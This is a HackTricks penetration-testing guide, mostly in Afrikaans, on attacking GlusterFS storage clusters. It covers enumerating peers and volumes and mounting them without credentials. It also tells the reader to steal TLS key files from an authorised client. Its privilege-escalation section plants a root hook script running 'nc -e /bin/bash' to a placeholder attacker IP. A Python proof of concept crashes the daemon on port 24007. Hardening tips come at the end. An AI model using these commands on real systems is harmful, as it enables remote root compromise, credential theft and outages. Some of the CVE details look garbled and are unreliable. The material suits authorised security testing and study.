24007-24008-24009-49152 - Pentesting GlusterFS
Reading time: 5 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
GlusterFS is 'n verspreide lêerstelsel wat stoorplek van verskeie bedieners in een geïntegreerde naamruimte kombineer. Die bestuurdaemon (glusterd
) luister standaard op 24007/TCP en gee opdrag aan data-vlak bakstene wat begin by 49152/TCP (een poort per baksteen, met 'n verhoging). Weergawes voor 9.x het 24008–24009/TCP gebruik vir baksteen vervoer, so jy sal steeds daardie poorte in erfenisklusters teëkom.
PORT STATE SERVICE VERSION
24007/tcp open glusterd GlusterFS (RPC)
49152/tcp open gluster-brick SSL (TLS optional)
Wenk: 24007 antwoord RPC-oproepe selfs wanneer die slegs-stoor nodes nie enige volume uitvoer nie; daarom is die diens 'n betroubare pivot-teiken binne groot infrastruktuur.
Opname
Installeer die kliëntnutsgoed op jou aanvaldoos:
sudo apt install -y glusterfs-cli glusterfs-client # Debian/Ubuntu
- Peer ontdekking & gesondheid
# List peers (works without authentication in default setups)
gluster --remote-host 10.10.11.131 peer status
- Volume verkenning
# Retrieve the list of all volumes and their configuration
gluster --remote-host 10.10.11.131 volume info all
- Monteer sonder voorregte
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/gluster
As die montering misluk, kyk na /var/log/glusterfs/<vol_name>-<uid>.log
aan die kliëntkant. Algemene probleme is:
- TLS afdwinging (
option transport.socket.ssl on
) - Adresgebaseerde toegangbeheer (
option auth.allow <cidr>
)
Sertifikaat probleemoplossing
Steal die volgende lêers van enige geautoriseerde kliëntknoop en plaas dit in /etc/ssl/
(of die gids wat in die foutlog aangedui word):
/etc/ssl/glusterfs.pem
/etc/ssl/glusterfs.key
/etc/ssl/glusterfs.ca
Bekende Kw vulnerabilities (2022-2025)
CVE | Aangetaste weergawes | Impak | Aantekeninge |
---|---|---|---|
CVE-2022-48340 | 10.0–10.4, 11.0 | Gebruik-na-vry in dht_setxattr_mds_cbk bereikbaar deur die netwerk | Afgeleë DoS en waarskynlike RCE. Geregverifieer in 10.4.1 / 11.1. |
CVE-2023-26253 | < 11.0 | Buite-grense lees in FUSE kennisgewing handler | Afgeleë kragonderbreking deur vervaardigde FS operasies; openbare PoC beskikbaar. |
CVE-2023-3775 | < 10.5 / 11.1 | Onkorrekte toestemming validasie wanneer gluster_shared_storage gemonteer word | Laat enige nie-geoutentiseerde kliënt toe om die admin volume te monteer – lei tot priv-esc hieronder verduidelik. |
Kontroleer altyd
gluster --version
op elke node; heterogene klusters is algemeen na gedeeltelike opgraderings.
Exploitering van gluster_shared_storage
(Privilegie Escalatie)
Selfs in onlangse weergawes laat baie administrateurs die spesiale gluster_shared_storage
volume wêreld-leesbaar omdat dit geo-replikaasie vereenvoudig. Die volume bevat cronjob sjablone wat met root op elke node loop.
# 1. Mount admin volume anonymously
mkdir /tmp/gss && sudo mount -t glusterfs 10.10.11.131:/gluster_shared_storage /tmp/gss
# 2. Drop malicious script that gets synchronised cluster-wide
cat <<'EOF' > /tmp/gss/hooks/1/start/post/test.sh
#!/bin/bash
nc -e /bin/bash ATTACKER_IP 4444 &
EOF
chmod +x /tmp/gss/hooks/1/start/post/test.sh
# 3. Wait until glusterd distributes the hook and executes it as root
As hooks/1/
nie teenwoordig is nie, soek na /ss_bricks/
– die presiese pad kan verskil met die hoofweergawe.
Denial-of-Service PoC (CVE-2023-26253)
#!/usr/bin/env python3
# Minimal reproducer: sends malformed NOTIFY_REPLY XDR frame to 24007
import socket, xdrlib, struct
p = xdrlib.Packer(); p.pack_uint(0xdeadbeef)
with socket.create_connection(("10.10.11.131",24007)) as s:
s.send(struct.pack("!L", len(p.get_buffer())|0x80000000))
s.send(p.get_buffer())
Running the script crashes glusterfsd
< 11.0.
Hardening & Detection
- Opgradeer – huidige LTS is 11.1 (Julie 2025). Alle CVE's hierbo is reggestel.
- Aktiveer TLS vir elke baksteen:
gluster volume set <vol> transport.socket.ssl on
gluster volume set <vol> transport.socket.ssl-cert /etc/ssl/glusterfs.pem
- Beperk kliënte met CIDR-lists:
gluster volume set <vol> auth.allow 10.0.0.0/24
- Stel bestuuringspoort 24007 bloot slegs op 'n private VLAN of deur SSH-tunnels.
- Kyk logs:
tail -f /var/log/glusterfs/glusterd.log
en konfigureer audit-log funksie (volume set <vol> features.audit-log on
).
References
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.